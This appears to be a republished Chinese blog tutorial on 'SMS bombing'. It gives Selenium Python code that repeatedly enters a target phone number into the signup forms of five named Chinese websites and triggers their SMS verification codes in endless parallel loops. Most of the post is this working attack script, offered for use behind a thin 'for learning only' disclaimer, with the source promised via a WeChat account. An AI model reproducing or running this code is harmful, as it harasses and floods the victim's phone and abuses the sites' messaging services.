手把手教你实现"短信轰炸"
2019-07-24 09:17:56来源:博客园 阅读 ()
手把手教你实现"短信轰炸"
我这里采用简单易懂的语言--"Python3"来实现
实现前的准备:
1,电脑,谷歌浏览器
2,python3环境
3,chromedrive相应的版本
1 , 当然需要下载python的咯--> Python最新源码,二进制文档,新闻资讯等可以在Python的官网查看到:
Python官网:https://www.python.org/你可以在以下链接中下载 Python 的文档,你可以下载 HTML、PDF 和 PostScript 等格式的文档。
Python文档下载地址:https://www.python.org/doc/ 我这下载的是最新版本python3.7
你们下载后按照一步一步的next就差不多了没什么难度和特别的地方,然后你把python追加到你的系统变量(右击电脑->高级设置->环境配置)的path中就可以了.
2,你需要自动的去实现浏览器页面的事件你当然必不可少的需要安装chromedriver啦,下面给你详细的安装步骤
点击下面的连接下载chromedrive,
http://chromedriver.storage.googleapis.com/index.html
你会看到很多版本,这个版本要对应你的谷歌浏览器的版本哟,大致的就可以咯哟,现在谷歌最新版本应该是73.0.3683.
下载的安装目录一定要在你的谷歌浏览器的目录里面,否者是没用的哟,,我把我的贴上去了
一切准备就绪了,那就打开你的python,在这里我们需要安装三个python包(如下图)如果你是linux操作系统可能比较方便安装引入查看相应的库和,不过在windows下你可以定位到你python下的script的文件下按住shift键右击在此处打开命令不过你用cd去定位也是一样的哟,pip install+包名 这样既可以了哟!如果你觉得慢的话,,你也可以直接在网上下载到python文件里面去哟,再说的话你直接在相关的python(pycharm)编辑器里面的设置去引入包也是一样的,我在这里就不累赘叙说了.
3,话不多说->代码解释:
1,需要驱动依赖的python包代码:
1 from selenium import webdriver 2 import time 3 from threading import Thread 4
2,创建某某平台的短信轰炸指定手机函数:
1 class HongZha(object): 2 def __init__(self): 3 self.phone = "12345678909"#你要轰炸的电话号码 4 self.num = 0 5 def send_yzm(self,button,name): 6 button.click() 7 self.num+=1 8 print("{} 第{}次 发送成功 {}".format(self.phone,self.num,name)) 9 time.sleep(2) 10 def zhihu(self,name): 11 while True:#下面这行是刚刚叙说的chromedrive的安装路径 12 13 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") 14 driver.get("https://www.zhihu.com/question/39993344") 15 driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click () 16 time.sleep(2) 17 tel = driver.find_element_by_xpath("//input[@placeholder='手机号']") 18 tel.send_keys(self.phone) 19 button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" ) 20 self.send_yzm(button,name) 21 driver.quit () 22 def guazi(self,name): 23 while True: 24 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") 25 driver.get("https://www.guazi.com/www/bj/buy") 26 a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" ) 27 a_btn.click() 28 time.sleep(2) 29 tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']") 30 tel.send_keys( self.phone ) 31 button = driver.find_element_by_xpath("//button[@class='get-code']") 32 self.send_yzm(button,name) 33 driver.quit() 34 def wphui(self,name): 35 while True: 36 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") 37 driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" ) 38 tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" ) 39 tel.send_keys ( self.phone ) 40 driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click() 41 button = driver.find_element_by_xpath ( 42 "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" ) 43 self.send_yzm ( button,name ) 44 driver.quit () 45 def suning(self,name): 46 while True: 47 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") 48 driver.get ( "https://reg.suning.com/person.do" ) 49 driver.find_element_by_xpath("//a[@class='agree-btn']").click() 50 tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']") 51 tel.send_keys ( self.phone ) 52 button = driver.find_element_by_xpath ( 53 "//a[@id='sendSmsCode']" ) 54 self.send_yzm ( button,name ) 55 driver.quit () 56 def yhd(self,name): 57 while True: 58 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") 59 driver.get ( "https://passport.yhd.com/passport/register_input.do" ) 60 driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神") 61 tel = driver.find_element_by_xpath ( "//input[@id='phone']" ) 62 tel.send_keys ( self.phone ) 63 time.sleep(2) 64 button = driver.find_element_by_xpath ( 65 "//a[@class='receive_code fl same_code_btn r_disable_code ']" ) 66 #button.click() 67 time.sleep(1) 68 self.send_yzm ( button,name ) 69 driver.quit ()
3,引用相关对象,调用对象对应方法:
1 hongzha = HongZha() 2 zhihu = Thread(target=hongzha.zhihu,args=("知乎",)) 3 guazi = Thread ( target=hongzha.guazi,args=("瓜子",)) 4 wphui = Thread(target=hongzha.wphui,args=("唯品会",)) 5 suning = Thread(target=hongzha.suning,args=("苏宁",)) 6 yhd = Thread( target=hongzha.yhd,args=("一号店",)) 7 zhihu.start()//调用定义方法 8 guazi.start() 9 wphui.start() 10 suning.start() 11 yhd.start()
然后运行结果我就不弄太多,因为是我自己的手机测试的,
我做的处理防止拿我手机号来轰炸!
在这里申明:我只提供技术上的学习讨论,不能来搞商业事情,,小编概不负任何责任....
声明: 你们拿来做的任何事情与小编无关!
下篇手把手教你们如何爬取整个小说网站并且实现小说的"语音播放".
扫码公众号--回复“短信轰炸”获取源码:
原文链接:https://www.cnblogs.com/chenqiwei/p/RunWsh_info.html
如有疑问请与原作者联系
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
下一篇:python学习-35 文件处理
- python day2-爬虫实现github登录 2019-08-13
- 手把手教你破解文件密码、wifi密码、网页密码 2019-07-24
- 一篇文章教你使用Python自动赚取支付宝积分,网友:发家致富 2019-07-24
- python+selenium实现自动化百度搜索关键词 2019-07-24
- python + pyinstaller 实现将python程序打包成exe文件直接运 2019-07-24
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash